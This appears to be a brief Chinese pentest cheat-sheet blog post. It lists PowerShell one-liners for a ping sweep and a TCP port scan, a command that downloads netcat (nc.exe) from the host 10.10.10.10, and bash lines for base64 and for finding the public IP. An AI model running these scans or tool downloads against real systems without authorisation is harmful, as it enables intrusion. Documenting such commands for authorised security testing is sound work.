pentest魔法书

常用命令介绍:
powershell
ping扫描:
1..255 | % {echo "192.168.0.$"; ping -n 1 -w 100 192.168.0.$ | Select-String ttl}
powershell下载:

(New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/nc.exe","c:\nc.exe")
Win 8 and later: > wget "http://10.10.10.10/nc.exe" -outfile "c:\nc.exe"
端口扫描:
1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("192.168.0.101", $)) "Port $ is open!"} 2>$null

bash
base64编码和解码:
$ echo 'Hello, World!' | base64
$ echo 'SGVsbG8sIFdvcmxkIQo=' | base64 -d
获得公网IP:
curl -4 icanhazip.com
wget -qO- ifconfig.me/ip

上一篇:VSFTP2.3.4(笑脸漏洞)


下一篇:Altium Designer 18 将Gerber文件逆向转换成PCB(详细记录)